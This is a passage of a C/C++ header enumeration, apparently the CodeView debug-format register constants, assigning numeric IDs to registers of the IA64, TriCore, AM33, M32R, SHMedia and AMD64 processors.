CV_IA64_CR36    =   4132,\n    CV_IA64_CR37    =   4133,\n    CV_IA64_CR38    =   4134,\n    CV_IA64_CR39    =   4135,\n    CV_IA64_CR40    =   4136,\n    CV_IA64_CR41    =   4137,\n    CV_IA64_CR42    =   4138,\n    CV_IA64_CR43    =   4139,\n    CV_IA64_CR44    =   4140,\n    CV_IA64_CR45    =   4141,\n    CV_IA64_CR46    =   4142,\n    CV_IA64_CR47    =   4143,\n    CV_IA64_CR48    =   4144,\n    CV_IA64_CR49    =   4145,\n    CV_IA64_CR50    =   4146,\n    CV_IA64_CR51    =   4147,\n    CV_IA64_CR52    =   4148,\n    CV_IA64_CR53    =   4149,\n    CV_IA64_CR54    =   4150,\n    CV_IA64_CR55    =   4151,\n    CV_IA64_CR56    =   4152,\n    CV_IA64_CR57    =   4153,\n    CV_IA64_CR58    =   4154,\n    CV_IA64_CR59    =   4155,\n    CV_IA64_CR60    =   4156,\n    CV_IA64_CR61    =   4157,\n    CV_IA64_CR62    =   4158,\n    CV_IA64_CR63    =   4159,\n    CV_IA64_SaLID   =   4160,\n    CV_IA64_SaIVR   =   4161,\n    CV_IA64_SaTPR   =   4162,\n    CV_IA64_SaEOI   =   4163,\n    CV_IA64_SaIRR0  =   4164,\n    CV_IA64_SaIRR1  =   4165,\n    CV_IA64_SaIRR2  =   4166,\n    CV_IA64_SaIRR3  =   4167,\n    CV_IA64_SaITV   =   4168,\n    CV_IA64_SaPMV   =   4169,\n    CV_IA64_SaCMCV  =   4170,\n    CV_IA64_CR75    =   4171,\n    CV_IA64_CR76    =   4172,\n    CV_IA64_CR77    =   4173,\n    CV_IA64_CR78    =   4174,\n    CV_IA64_CR79    =   4175,\n    CV_IA64_SaLRR0  =   4176,\n    CV_IA64_SaLRR1  =   4177,\n    CV_IA64_CR82    =   4178,\n    CV_IA64_CR83    =   4179,\n    CV_IA64_CR84    =   4180,\n    CV_IA64_CR85    =   4181,\n    CV_IA64_CR86    =   4182,\n    CV_IA64_CR87    =   4183,\n    CV_IA64_CR88    =   4184,\n    CV_IA64_CR89    =   4185,\n    CV_IA64_CR90    =   4186,\n    CV_IA64_CR91    =   4187,\n    CV_IA64_CR92    =   4188,\n    CV_IA64_CR93    =   4189,\n    CV_IA64_CR94    =   4190,\n    CV_IA64_CR95    =   4191,\n    CV_IA64_CR96    =   4192,\n    CV_IA64_CR97    =   4193,\n    CV_IA64_CR98    =   4194,\n    CV_IA64_CR99    =   4195,\n    CV_IA64_CR100   =   4196,\n    CV_IA64_CR101   =   4197,\n    CV_IA64_CR102   =   4198,\n    CV_IA64_CR103   =   4199,\n    CV_IA64_CR104   =   4200,\n    CV_IA64_CR105   =   4201,\n    CV_IA64_CR106   =   4202,\n    CV_IA64_CR107   =   4203,\n    CV_IA64_CR108   =   4204,\n    CV_IA64_CR109   =   4205,\n    CV_IA64_CR110   =   4206,\n    CV_IA64_CR111   =   4207,\n    CV_IA64_CR112   =   4208,\n    CV_IA64_CR113   =   4209,\n    CV_IA64_CR114   =   4210,\n    CV_IA64_CR115   =   4211,\n    CV_IA64_CR116   =   4212,\n    CV_IA64_CR117   =   4213,\n    CV_IA64_CR118   =   4214,\n    CV_IA64_CR119   =   4215,\n    CV_IA64_CR120   =   4216,\n    CV_IA64_CR121   =   4217,\n    CV_IA64_CR122   =   4218,\n    CV_IA64_CR123   =   4219,\n    CV_IA64_CR124   =   4220,\n    CV_IA64_CR125   =   4221,\n    CV_IA64_CR126   =   4222,\n    CV_IA64_CR127   =   4223,\n\n    // Protection Key Registers\n\n    CV_IA64_Pkr0    =   5120,\n    CV_IA64_Pkr1    =   5121,\n    CV_IA64_Pkr2    =   5122,\n    CV_IA64_Pkr3    =   5123,\n    CV_IA64_Pkr4    =   5124,\n    CV_IA64_Pkr5    =   5125,\n    CV_IA64_Pkr6    =   5126,\n    CV_IA64_Pkr7    =   5127,\n    CV_IA64_Pkr8    =   5128,\n    CV_IA64_Pkr9    =   5129,\n    CV_IA64_Pkr10   =   5130,\n    CV_IA64_Pkr11   =   5131,\n    CV_IA64_Pkr12   =   5132,\n    CV_IA64_Pkr13   =   5133,\n    CV_IA64_Pkr14   =   5134,\n    CV_IA64_Pkr15   =   5135,\n\n    // Region Registers\n\n    CV_IA64_Rr0     =   6144,\n    CV_IA64_Rr1     =   6145,\n    CV_IA64_Rr2     =   6146,\n    CV_IA64_Rr3     =   6147,\n    CV_IA64_Rr4     =   6148,\n    CV_IA64_Rr5     =   6149,\n    CV_IA64_Rr6     =   6150,\n    CV_IA64_Rr7     =   6151,\n\n    // Performance Monitor Data Registers\n\n    CV_IA64_PFD0    =   7168,\n    CV_IA64_PFD1    =   7169,\n    CV_IA64_PFD2    =   7170,\n    CV_IA64_PFD3    =   7171,\n    CV_IA64_PFD4    =   7172,\n    CV_IA64_PFD5    =   7173,\n    CV_IA64_PFD6    =   7174,\n    CV_IA64_PFD7    =   7175,\n    CV_IA64_PFD8    =   7176,\n    CV_IA64_PFD9    =   7177,\n    CV_IA64_PFD10   =   7178,\n    CV_IA64_PFD11   =   7179,\n    CV_IA64_PFD12   =   7180,\n    CV_IA64_PFD13   =   7181,\n    CV_IA64_PFD14   =   7182,\n    CV_IA64_PFD15   =   7183,\n    CV_IA64_PFD16   =   7184,\n    CV_IA64_PFD17   =   7185,\n\n    // Performance Monitor Config Registers\n\n    CV_IA64_PFC0    =   7424,\n    CV_IA64_PFC1    =   7425,\n    CV_IA64_PFC2    =   7426,\n    CV_IA64_PFC3    =   7427,\n    CV_IA64_PFC4    =   7428,\n    CV_IA64_PFC5    =   7429,\n    CV_IA64_PFC6    =   7430,\n    CV_IA64_PFC7    =   7431,\n    CV_IA64_PFC8    =   7432,\n    CV_IA64_PFC9    =   7433,\n    CV_IA64_PFC10   =   7434,\n    CV_IA64_PFC11   =   7435,\n    CV_IA64_PFC12   =   7436,\n    CV_IA64_PFC13   =   7437,\n    CV_IA64_PFC14   =   7438,\n    CV_IA64_PFC15   =   7439,\n\n    // Instruction Translation Registers\n\n    CV_IA64_TrI0    =   8192,\n    CV_IA64_TrI1    =   8193,\n    CV_IA64_TrI2    =   8194,\n    CV_IA64_TrI3    =   8195,\n    CV_IA64_TrI4    =   8196,\n    CV_IA64_TrI5    =   8197,\n    CV_IA64_TrI6    =   8198,\n    CV_IA64_TrI7    =   8199,\n\n    // Data Translation Registers\n\n    CV_IA64_TrD0    =   8320,\n    CV_IA64_TrD1    =   8321,\n    CV_IA64_TrD2    =   8322,\n    CV_IA64_TrD3    =   8323,\n    CV_IA64_TrD4    =   8324,\n    CV_IA64_TrD5    =   8325,\n    CV_IA64_TrD6    =   8326,\n    CV_IA64_TrD7    =   8327,\n\n    // Instruction Breakpoint Registers\n\n    CV_IA64_DbI0    =   8448,\n    CV_IA64_DbI1    =   8449,\n    CV_IA64_DbI2    =   8450,\n    CV_IA64_DbI3    =   8451,\n    CV_IA64_DbI4    =   8452,\n    CV_IA64_DbI5    =   8453,\n    CV_IA64_DbI6    =   8454,\n    CV_IA64_DbI7    =   8455,\n\n    // Data Breakpoint Registers\n\n    CV_IA64_DbD0    =   8576,\n    CV_IA64_DbD1    =   8577,\n    CV_IA64_DbD2    =   8578,\n    CV_IA64_DbD3    =   8579,\n    CV_IA64_DbD4    =   8580,\n    CV_IA64_DbD5    =   8581,\n    CV_IA64_DbD6    =   8582,\n    CV_IA64_DbD7    =   8583,\n\n    //\n    // Register set for the TriCore processor.\n    //\n\n    CV_TRI_NOREG    =   CV_REG_NONE,\n\n    // General Purpose Data Registers\n\n    CV_TRI_D0   =   10,\n    CV_TRI_D1   =   11,\n    CV_TRI_D2   =   12,\n    CV_TRI_D3   =   13,\n    CV_TRI_D4   =   14,\n    CV_TRI_D5   =   15,\n    CV_TRI_D6   =   16,\n    CV_TRI_D7   =   17,\n    CV_TRI_D8   =   18,\n    CV_TRI_D9   =   19,\n    CV_TRI_D10  =   20,\n    CV_TRI_D11  =   21,\n    CV_TRI_D12  =   22,\n    CV_TRI_D13  =   23,\n    CV_TRI_D14  =   24,\n    CV_TRI_D15  =   25,\n\n    // General Purpose Address Registers\n\n    CV_TRI_A0   =   26,\n    CV_TRI_A1   =   27,\n    CV_TRI_A2   =   28,\n    CV_TRI_A3   =   29,\n    CV_TRI_A4   =   30,\n    CV_TRI_A5   =   31,\n    CV_TRI_A6   =   32,\n    CV_TRI_A7   =   33,\n    CV_TRI_A8   =   34,\n    CV_TRI_A9   =   35,\n    CV_TRI_A10  =   36,\n    CV_TRI_A11  =   37,\n    CV_TRI_A12  =   38,\n    CV_TRI_A13  =   39,\n    CV_TRI_A14  =   40,\n    CV_TRI_A15  =   41,\n\n    // Extended (64-bit) data registers\n\n    CV_TRI_E0   =   42,\n    CV_TRI_E2   =   43,\n    CV_TRI_E4   =   44,\n    CV_TRI_E6   =   45,\n    CV_TRI_E8   =   46,\n    CV_TRI_E10  =   47,\n    CV_TRI_E12  =   48,\n    CV_TRI_E14  =   49,\n\n    // Extended (64-bit) address registers\n\n    CV_TRI_EA0  =   50,\n    CV_TRI_EA2  =   51,\n    CV_TRI_EA4  =   52,\n    CV_TRI_EA6  =   53,\n    CV_TRI_EA8  =   54,\n    CV_TRI_EA10 =   55,\n    CV_TRI_EA12 =   56,\n    CV_TRI_EA14 =   57,\n\n    CV_TRI_PSW  =   58,\n    CV_TRI_PCXI =   59,\n    CV_TRI_PC   =   60,\n    CV_TRI_FCX  =   61,\n    CV_TRI_LCX  =   62,\n    CV_TRI_ISP  =   63,\n    CV_TRI_ICR  =   64,\n    CV_TRI_BIV  =   65,\n    CV_TRI_BTV  =   66,\n    CV_TRI_SYSCON   =   67,\n    CV_TRI_DPRx_0   =   68,\n    CV_TRI_DPRx_1   =   69,\n    CV_TRI_DPRx_2   =   70,\n    CV_TRI_DPRx_3   =   71,\n    CV_TRI_CPRx_0   =   68,\n    CV_TRI_CPRx_1   =   69,\n    CV_TRI_CPRx_2   =   70,\n    CV_TRI_CPRx_3   =   71,\n    CV_TRI_DPMx_0   =   68,\n    CV_TRI_DPMx_1   =   69,\n    CV_TRI_DPMx_2   =   70,\n    CV_TRI_DPMx_3   =   71,\n    CV_TRI_CPMx_0   =   68,\n    CV_TRI_CPMx_1   =   69,\n    CV_TRI_CPMx_2   =   70,\n    CV_TRI_CPMx_3   =   71,\n    CV_TRI_DBGSSR   =   72,\n    CV_TRI_EXEVT    =   73,\n    CV_TRI_SWEVT    =   74,\n    CV_TRI_CREVT    =   75,\n    CV_TRI_TRnEVT   =   76,\n    CV_TRI_MMUCON   =   77,\n    CV_TRI_ASI      =   78,\n    CV_TRI_TVA      =   79,\n    CV_TRI_TPA      =   80,\n    CV_TRI_TPX      =   81,\n    CV_TRI_TFA      =   82,\n\n    //\n    // Register set for the AM33 and related processors.\n    //\n\n    CV_AM33_NOREG   =   CV_REG_NONE,\n\n    // \"Extended\" (general purpose integer) registers\n    CV_AM33_E0      =   10,\n    CV_AM33_E1      =   11,\n    CV_AM33_E2      =   12,\n    CV_AM33_E3      =   13,\n    CV_AM33_E4      =   14,\n    CV_AM33_E5      =   15,\n    CV_AM33_E6      =   16,\n    CV_AM33_E7      =   17,\n\n    // Address registers\n    CV_AM33_A0      =   20,\n    CV_AM33_A1      =   21,\n    CV_AM33_A2      =   22,\n    CV_AM33_A3      =   23,\n\n    // Integer data registers\n    CV_AM33_D0      =   30,\n    CV_AM33_D1      =   31,\n    CV_AM33_D2      =   32,\n    CV_AM33_D3      =   33,\n\n    // (Single-precision) floating-point registers\n    CV_AM33_FS0     =   40,\n    CV_AM33_FS1     =   41,\n    CV_AM33_FS2     =   42,\n    CV_AM33_FS3     =   43,\n    CV_AM33_FS4     =   44,\n    CV_AM33_FS5     =   45,\n    CV_AM33_FS6     =   46,\n    CV_AM33_FS7     =   47,\n    CV_AM33_FS8     =   48,\n    CV_AM33_FS9     =   49,\n    CV_AM33_FS10    =   50,\n    CV_AM33_FS11    =   51,\n    CV_AM33_FS12    =   52,\n    CV_AM33_FS13    =   53,\n    CV_AM33_FS14    =   54,\n    CV_AM33_FS15    =   55,\n    CV_AM33_FS16    =   56,\n    CV_AM33_FS17    =   57,\n    CV_AM33_FS18    =   58,\n    CV_AM33_FS19    =   59,\n    CV_AM33_FS20    =   60,\n    CV_AM33_FS21    =   61,\n    CV_AM33_FS22    =   62,\n    CV_AM33_FS23    =   63,\n    CV_AM33_FS24    =   64,\n    CV_AM33_FS25    =   65,\n    CV_AM33_FS26    =   66,\n    CV_AM33_FS27    =   67,\n    CV_AM33_FS28    =   68,\n    CV_AM33_FS29    =   69,\n    CV_AM33_FS30    =   70,\n    CV_AM33_FS31    =   71,\n\n    // Special purpose registers\n\n    // Stack pointer\n    CV_AM33_SP      =   80,\n\n    // Program counter\n    CV_AM33_PC      =   81,\n\n    // Multiply-divide/accumulate registers\n    CV_AM33_MDR     =   82,\n    CV_AM33_MDRQ    =   83,\n    CV_AM33_MCRH    =   84,\n    CV_AM33_MCRL    =   85,\n    CV_AM33_MCVF    =   86,\n\n    // CPU status words\n    CV_AM33_EPSW    =   87,\n    CV_AM33_FPCR    =   88,\n\n    // Loop buffer registers\n    CV_AM33_LIR     =   89,\n    CV_AM33_LAR     =   90,\n\n    //\n    // Register set for the Mitsubishi M32R\n    //\n\n    CV_M32R_NOREG    =   CV_REG_NONE,\n\n    CV_M32R_R0    =   10,\n    CV_M32R_R1    =   11,\n    CV_M32R_R2    =   12,\n    CV_M32R_R3    =   13,\n    CV_M32R_R4    =   14,\n    CV_M32R_R5    =   15,\n    CV_M32R_R6    =   16,\n    CV_M32R_R7    =   17,\n    CV_M32R_R8    =   18,\n    CV_M32R_R9    =   19,\n    CV_M32R_R10   =   20,\n    CV_M32R_R11   =   21,\n    CV_M32R_R12   =   22,   // Gloabal Pointer, if used\n    CV_M32R_R13   =   23,   // Frame Pointer, if allocated\n    CV_M32R_R14   =   24,   // Link Register\n    CV_M32R_R15   =   25,   // Stack Pointer\n    CV_M32R_PSW   =   26,   // Preocessor Status Register\n    CV_M32R_CBR   =   27,   // Condition Bit Register\n    CV_M32R_SPI   =   28,   // Interrupt Stack Pointer\n    CV_M32R_SPU   =   29,   // User Stack Pointer\n    CV_M32R_SPO   =   30,   // OS Stack Pointer\n    CV_M32R_BPC   =   31,   // Backup Program Counter\n    CV_M32R_ACHI  =   32,   // Accumulator High\n    CV_M32R_ACLO  =   33,   // Accumulator Low\n    CV_M32R_PC    =   34,   // Program Counter\n\n    //\n    // Register set for the SuperH SHMedia processor including compact\n    // mode\n    //\n\n    // Integer - 64 bit general registers\n    CV_SHMEDIA_NOREG   =   CV_REG_NONE,\n    CV_SHMEDIA_R0      =   10,\n    CV_SHMEDIA_R1      =   11,\n    CV_SHMEDIA_R2      =   12,\n    CV_SHMEDIA_R3      =   13,\n    CV_SHMEDIA_R4      =   14,\n    CV_SHMEDIA_R5      =   15,\n    CV_SHMEDIA_R6      =   16,\n    CV_SHMEDIA_R7      =   17,\n    CV_SHMEDIA_R8      =   18,\n    CV_SHMEDIA_R9      =   19,\n    CV_SHMEDIA_R10     =   20,\n    CV_SHMEDIA_R11     =   21,\n    CV_SHMEDIA_R12     =   22,\n    CV_SHMEDIA_R13     =   23,\n    CV_SHMEDIA_R14     =   24,\n    CV_SHMEDIA_R15     =   25,\n    CV_SHMEDIA_R16     =   26,\n    CV_SHMEDIA_R17     =   27,\n    CV_SHMEDIA_R18     =   28,\n    CV_SHMEDIA_R19     =   29,\n    CV_SHMEDIA_R20     =   30,\n    CV_SHMEDIA_R21     =   31,\n    CV_SHMEDIA_R22     =   32,\n    CV_SHMEDIA_R23     =   33,\n    CV_SHMEDIA_R24     =   34,\n    CV_SHMEDIA_R25     =   35,\n    CV_SHMEDIA_R26     =   36,\n    CV_SHMEDIA_R27     =   37,\n    CV_SHMEDIA_R28     =   38,\n    CV_SHMEDIA_R29     =   39,\n    CV_SHMEDIA_R30     =   40,\n    CV_SHMEDIA_R31     =   41,\n    CV_SHMEDIA_R32     =   42,\n    CV_SHMEDIA_R33     =   43,\n    CV_SHMEDIA_R34     =   44,\n    CV_SHMEDIA_R35     =   45,\n    CV_SHMEDIA_R36     =   46,\n    CV_SHMEDIA_R37     =   47,\n    CV_SHMEDIA_R38     =   48,\n    CV_SHMEDIA_R39     =   49,\n    CV_SHMEDIA_R40     =   50,\n    CV_SHMEDIA_R41     =   51,\n    CV_SHMEDIA_R42     =   52,\n    CV_SHMEDIA_R43     =   53,\n    CV_SHMEDIA_R44     =   54,\n    CV_SHMEDIA_R45     =   55,\n    CV_SHMEDIA_R46     =   56,\n    CV_SHMEDIA_R47     =   57,\n    CV_SHMEDIA_R48     =   58,\n    CV_SHMEDIA_R49     =   59,\n    CV_SHMEDIA_R50     =   60,\n    CV_SHMEDIA_R51     =   61,\n    CV_SHMEDIA_R52     =   62,\n    CV_SHMEDIA_R53     =   63,\n    CV_SHMEDIA_R54     =   64,\n    CV_SHMEDIA_R55     =   65,\n    CV_SHMEDIA_R56     =   66,\n    CV_SHMEDIA_R57     =   67,\n    CV_SHMEDIA_R58     =   68,\n    CV_SHMEDIA_R59     =   69,\n    CV_SHMEDIA_R60     =   70,\n    CV_SHMEDIA_R61     =   71,\n    CV_SHMEDIA_R62     =   72,\n    CV_SHMEDIA_R63     =   73,\n    \n    // Target Registers - 32 bit\n    CV_SHMEDIA_TR0     =   74,\n    CV_SHMEDIA_TR1     =   75,\n    CV_SHMEDIA_TR2     =   76,\n    CV_SHMEDIA_TR3     =   77,\n    CV_SHMEDIA_TR4     =   78,\n    CV_SHMEDIA_TR5     =   79,\n    CV_SHMEDIA_TR6     =   80,\n    CV_SHMEDIA_TR7     =   81,\n    CV_SHMEDIA_TR8     =   82, // future-proof\n    CV_SHMEDIA_TR9     =   83, // future-proof\n    CV_SHMEDIA_TR10    =   84, // future-proof\n    CV_SHMEDIA_TR11    =   85, // future-proof\n    CV_SHMEDIA_TR12    =   86, // future-proof\n    CV_SHMEDIA_TR13    =   87, // future-proof\n    CV_SHMEDIA_TR14    =   88, // future-proof\n    CV_SHMEDIA_TR15    =   89, // future-proof\n\n    // Single - 32 bit fp registers\n    CV_SHMEDIA_FR0     =   128,\n    CV_SHMEDIA_FR1     =   129,\n    CV_SHMEDIA_FR2     =   130,\n    CV_SHMEDIA_FR3     =   131,\n    CV_SHMEDIA_FR4     =   132,\n    CV_SHMEDIA_FR5     =   133,\n    CV_SHMEDIA_FR6     =   134,\n    CV_SHMEDIA_FR7     =   135,\n    CV_SHMEDIA_FR8     =   136,\n    CV_SHMEDIA_FR9     =   137,\n    CV_SHMEDIA_FR10    =   138,\n    CV_SHMEDIA_FR11    =   139,\n    CV_SHMEDIA_FR12    =   140,\n    CV_SHMEDIA_FR13    =   141,\n    CV_SHMEDIA_FR14    =   142,\n    CV_SHMEDIA_FR15    =   143,\n    CV_SHMEDIA_FR16    =   144,\n    CV_SHMEDIA_FR17    =   145,\n    CV_SHMEDIA_FR18    =   146,\n    CV_SHMEDIA_FR19    =   147,\n    CV_SHMEDIA_FR20    =   148,\n    CV_SHMEDIA_FR21    =   149,\n    CV_SHMEDIA_FR22    =   150,\n    CV_SHMEDIA_FR23    =   151,\n    CV_SHMEDIA_FR24    =   152,\n    CV_SHMEDIA_FR25    =   153,\n    CV_SHMEDIA_FR26    =   154,\n    CV_SHMEDIA_FR27    =   155,\n    CV_SHMEDIA_FR28    =   156,\n    CV_SHMEDIA_FR29    =   157,\n    CV_SHMEDIA_FR30    =   158,\n    CV_SHMEDIA_FR31    =   159,\n    CV_SHMEDIA_FR32    =   160,\n    CV_SHMEDIA_FR33    =   161,\n    CV_SHMEDIA_FR34    =   162,\n    CV_SHMEDIA_FR35    =   163,\n    CV_SHMEDIA_FR36    =   164,\n    CV_SHMEDIA_FR37    =   165,\n    CV_SHMEDIA_FR38    =   166,\n    CV_SHMEDIA_FR39    =   167,\n    CV_SHMEDIA_FR40    =   168,\n    CV_SHMEDIA_FR41    =   169,\n    CV_SHMEDIA_FR42    =   170,\n    CV_SHMEDIA_FR43    =   171,\n    CV_SHMEDIA_FR44    =   172,\n    CV_SHMEDIA_FR45    =   173,\n    CV_SHMEDIA_FR46    =   174,\n    CV_SHMEDIA_FR47    =   175,\n    CV_SHMEDIA_FR48    =   176,\n    CV_SHMEDIA_FR49    =   177,\n    CV_SHMEDIA_FR50    =   178,\n    CV_SHMEDIA_FR51    =   179,\n    CV_SHMEDIA_FR52    =   180,\n    CV_SHMEDIA_FR53    =   181,\n    CV_SHMEDIA_FR54    =   182,\n    CV_SHMEDIA_FR55    =   183,\n    CV_SHMEDIA_FR56    =   184,\n    CV_SHMEDIA_FR57    =   185,\n    CV_SHMEDIA_FR58    =   186,\n    CV_SHMEDIA_FR59    =   187,\n    CV_SHMEDIA_FR60    =   188,\n    CV_SHMEDIA_FR61    =   189,\n    CV_SHMEDIA_FR62    =   190,\n    CV_SHMEDIA_FR63    =   191,\n\n    // Double - 64 bit synonyms for 32bit fp register pairs\n    //          subtract 128 to find first base single register\n    CV_SHMEDIA_DR0     =   256,\n    CV_SHMEDIA_DR2     =   258,\n    CV_SHMEDIA_DR4     =   260,\n    CV_SHMEDIA_DR6     =   262,\n    CV_SHMEDIA_DR8     =   264,\n    CV_SHMEDIA_DR10    =   266,\n    CV_SHMEDIA_DR12    =   268,\n    CV_SHMEDIA_DR14    =   270,\n    CV_SHMEDIA_DR16    =   272,\n    CV_SHMEDIA_DR18    =   274,\n    CV_SHMEDIA_DR20    =   276,\n    CV_SHMEDIA_DR22    =   278,\n    CV_SHMEDIA_DR24    =   280,\n    CV_SHMEDIA_DR26    =   282,\n    CV_SHMEDIA_DR28    =   284,\n    CV_SHMEDIA_DR30    =   286,\n    CV_SHMEDIA_DR32    =   288,\n    CV_SHMEDIA_DR34    =   290,\n    CV_SHMEDIA_DR36    =   292,\n    CV_SHMEDIA_DR38    =   294,\n    CV_SHMEDIA_DR40    =   296,\n    CV_SHMEDIA_DR42    =   298,\n    CV_SHMEDIA_DR44    =   300,\n    CV_SHMEDIA_DR46    =   302,\n    CV_SHMEDIA_DR48    =   304,\n    CV_SHMEDIA_DR50    =   306,\n    CV_SHMEDIA_DR52    =   308,\n    CV_SHMEDIA_DR54    =   310,\n    CV_SHMEDIA_DR56    =   312,\n    CV_SHMEDIA_DR58    =   314,\n    CV_SHMEDIA_DR60    =   316,\n    CV_SHMEDIA_DR62    =   318,\n\n    // Vector - 128 bit synonyms for 32bit fp register quads\n    //          subtract 384 to find first base single register\n    CV_SHMEDIA_FV0     =   512,\n    CV_SHMEDIA_FV4     =   516,\n    CV_SHMEDIA_FV8     =   520,\n    CV_SHMEDIA_FV12    =   524,\n    CV_SHMEDIA_FV16    =   528,\n    CV_SHMEDIA_FV20    =   532,\n    CV_SHMEDIA_FV24    =   536,\n    CV_SHMEDIA_FV28    =   540,\n    CV_SHMEDIA_FV32    =   544,\n    CV_SHMEDIA_FV36    =   548,\n    CV_SHMEDIA_FV40    =   552,\n    CV_SHMEDIA_FV44    =   556,\n    CV_SHMEDIA_FV48    =   560,\n    CV_SHMEDIA_FV52    =   564,\n    CV_SHMEDIA_FV56    =   568,\n    CV_SHMEDIA_FV60    =   572,\n\n    // Matrix - 512 bit synonyms for 16 adjacent 32bit fp registers\n    //          subtract 896 to find first base single register\n    CV_SHMEDIA_MTRX0   =   1024,\n    CV_SHMEDIA_MTRX16  =   1040,\n    CV_SHMEDIA_MTRX32  =   1056,\n    CV_SHMEDIA_MTRX48  =   1072,\n\n    // Control - Implementation defined 64bit control registers\n    CV_SHMEDIA_CR0     =   2000,\n    CV_SHMEDIA_CR1     =   2001,\n    CV_SHMEDIA_CR2     =   2002,\n    CV_SHMEDIA_CR3     =   2003,\n    CV_SHMEDIA_CR4     =   2004,\n    CV_SHMEDIA_CR5     =   2005,\n    CV_SHMEDIA_CR6     =   2006,\n    CV_SHMEDIA_CR7     =   2007,\n    CV_SHMEDIA_CR8     =   2008,\n    CV_SHMEDIA_CR9     =   2009,\n    CV_SHMEDIA_CR10    =   2010,\n    CV_SHMEDIA_CR11    =   2011,\n    CV_SHMEDIA_CR12    =   2012,\n    CV_SHMEDIA_CR13    =   2013,\n    CV_SHMEDIA_CR14    =   2014,\n    CV_SHMEDIA_CR15    =   2015,\n    CV_SHMEDIA_CR16    =   2016,\n    CV_SHMEDIA_CR17    =   2017,\n    CV_SHMEDIA_CR18    =   2018,\n    CV_SHMEDIA_CR19    =   2019,\n    CV_SHMEDIA_CR20    =   2020,\n    CV_SHMEDIA_CR21    =   2021,\n    CV_SHMEDIA_CR22    =   2022,\n    CV_SHMEDIA_CR23    =   2023,\n    CV_SHMEDIA_CR24    =   2024,\n    CV_SHMEDIA_CR25    =   2025,\n    CV_SHMEDIA_CR26    =   2026,\n    CV_SHMEDIA_CR27    =   2027,\n    CV_SHMEDIA_CR28    =   2028,\n    CV_SHMEDIA_CR29    =   2029,\n    CV_SHMEDIA_CR30    =   2030,\n    CV_SHMEDIA_CR31    =   2031,\n    CV_SHMEDIA_CR32    =   2032,\n    CV_SHMEDIA_CR33    =   2033,\n    CV_SHMEDIA_CR34    =   2034,\n    CV_SHMEDIA_CR35    =   2035,\n    CV_SHMEDIA_CR36    =   2036,\n    CV_SHMEDIA_CR37    =   2037,\n    CV_SHMEDIA_CR38    =   2038,\n    CV_SHMEDIA_CR39    =   2039,\n    CV_SHMEDIA_CR40    =   2040,\n    CV_SHMEDIA_CR41    =   2041,\n    CV_SHMEDIA_CR42    =   2042,\n    CV_SHMEDIA_CR43    =   2043,\n    CV_SHMEDIA_CR44    =   2044,\n    CV_SHMEDIA_CR45    =   2045,\n    CV_SHMEDIA_CR46    =   2046,\n    CV_SHMEDIA_CR47    =   2047,\n    CV_SHMEDIA_CR48    =   2048,\n    CV_SHMEDIA_CR49    =   2049,\n    CV_SHMEDIA_CR50    =   2050,\n    CV_SHMEDIA_CR51    =   2051,\n    CV_SHMEDIA_CR52    =   2052,\n    CV_SHMEDIA_CR53    =   2053,\n    CV_SHMEDIA_CR54    =   2054,\n    CV_SHMEDIA_CR55    =   2055,\n    CV_SHMEDIA_CR56    =   2056,\n    CV_SHMEDIA_CR57    =   2057,\n    CV_SHMEDIA_CR58    =   2058,\n    CV_SHMEDIA_CR59    =   2059,\n    CV_SHMEDIA_CR60    =   2060,\n    CV_SHMEDIA_CR61    =   2061,\n    CV_SHMEDIA_CR62    =   2062,\n    CV_SHMEDIA_CR63    =   2063,\n\n    CV_SHMEDIA_FPSCR   =   2064,\n\n    // Compact mode synonyms\n    CV_SHMEDIA_GBR     =   CV_SHMEDIA_R16,\n    CV_SHMEDIA_MACL    =   90, // synonym for lower 32bits of media R17\n    CV_SHMEDIA_MACH    =   91, // synonym for upper 32bits of media R17\n    CV_SHMEDIA_PR      =   CV_SHMEDIA_R18,\n    CV_SHMEDIA_T       =   92, // synonym for lowest bit of media R19\n    CV_SHMEDIA_FPUL    =   CV_SHMEDIA_FR32,\n    CV_SHMEDIA_PC      =   93,\n    CV_SHMEDIA_SR      =   CV_SHMEDIA_CR0,\n\n    //\n    // AMD64 registers\n    //\n\n    CV_AMD64_AL       =   1,\n    CV_AMD64_CL       =   2,\n    CV_AMD64_DL       =   3,\n    CV_AMD64_BL       =   4,\n    CV_AMD64_AH       =   5,\n    CV_AMD64_CH       =   6,\n    CV_AMD64_DH       =   7,\n    CV_AMD64_BH       =   8,\n    CV_AMD64_AX       =   9,\n    CV_AMD64_CX       =  10,\n    CV_AMD64_DX       =  11,\n    CV_AMD64_BX       =  12,\n    CV_AMD64_SP       =  13,\n    CV_AMD64_BP       =  14,\n    CV_AMD64_SI       =  15,\n    CV_AMD64_DI       =  16,\n    CV_AMD64_EAX      =  17,\n    CV_AMD64_ECX      =  18,\n    CV_AMD64_EDX      =  19,\n    CV_AMD64_EBX      =  20,\n    CV_AMD64_ESP      =  21,\n    CV_AMD64_EBP      =  22,\n    CV_AMD64_ESI      =  23,\n    CV_AMD64_EDI      =  24,\n    CV_AMD64_ES       =  25,\n    CV_AMD64_CS       =  26,\n    CV_AMD64_SS       =  27,\n    CV_AMD64_DS       =  28,\n    CV_AMD64_FS       =  29,\n    CV_AMD64_GS       =  30,\n    CV_AMD64_FLAGS    =  32,\n    CV_AMD64_RIP      =  33,\n    CV_AMD64_EFLAGS   =  34,\n\n    // Control registers\n    CV_AMD64_CR0      =  80,\n    CV_AMD64_CR1      =  81,\n    CV_AMD64_CR2      =  82,\n    CV_AMD64_CR3      =  83,\n    CV_AMD64_CR4      =  84,\n    CV_AMD64_CR8      =  88,\n\n    // Debug registers\n    CV_AMD64_DR0      =  90,\n    CV_AMD64_DR1      =  91,\n    CV_AMD64_DR2      =  92,\n    CV_AMD64_DR3      =  93,\n    CV_AMD64_DR4      =  94,\n    CV_AMD64_DR5      =  95,\n    CV_AMD64_DR6      =  96,\n    CV_AMD64_DR7      =  97,\n    CV_AMD64_DR8      =  98,\n    CV_AMD64_DR9      =  99,\n    CV_AMD64_DR10     =  100,\n    CV_AMD64_DR11     =  101,\n    CV_AMD64_DR12     =  102,\n    CV_AMD64_DR13     =  103,\n    CV_AMD64_DR14     =  104,\n    CV_AMD64_DR15     =  105,\n\n    CV_AMD64_GDTR     =  110,\n    CV_AMD64_GDTL     =  111,\n    CV_AMD64_IDTR     =  112,\n    CV_AMD64_IDTL     =  113,\n    CV_AMD64_LDTR     =  114,\n    CV_AMD64_TR       =  115,\n\n    CV_AMD64_ST0      =  128,\n    CV_AMD64_ST1      =  129,\n    CV_AMD64_ST2      =  130,\n    CV_AMD64_ST3      =  131,\n    CV_AMD64_ST4      =  132,\n    CV_AMD64_ST5      =  133,\n    CV_AMD64_ST6      =  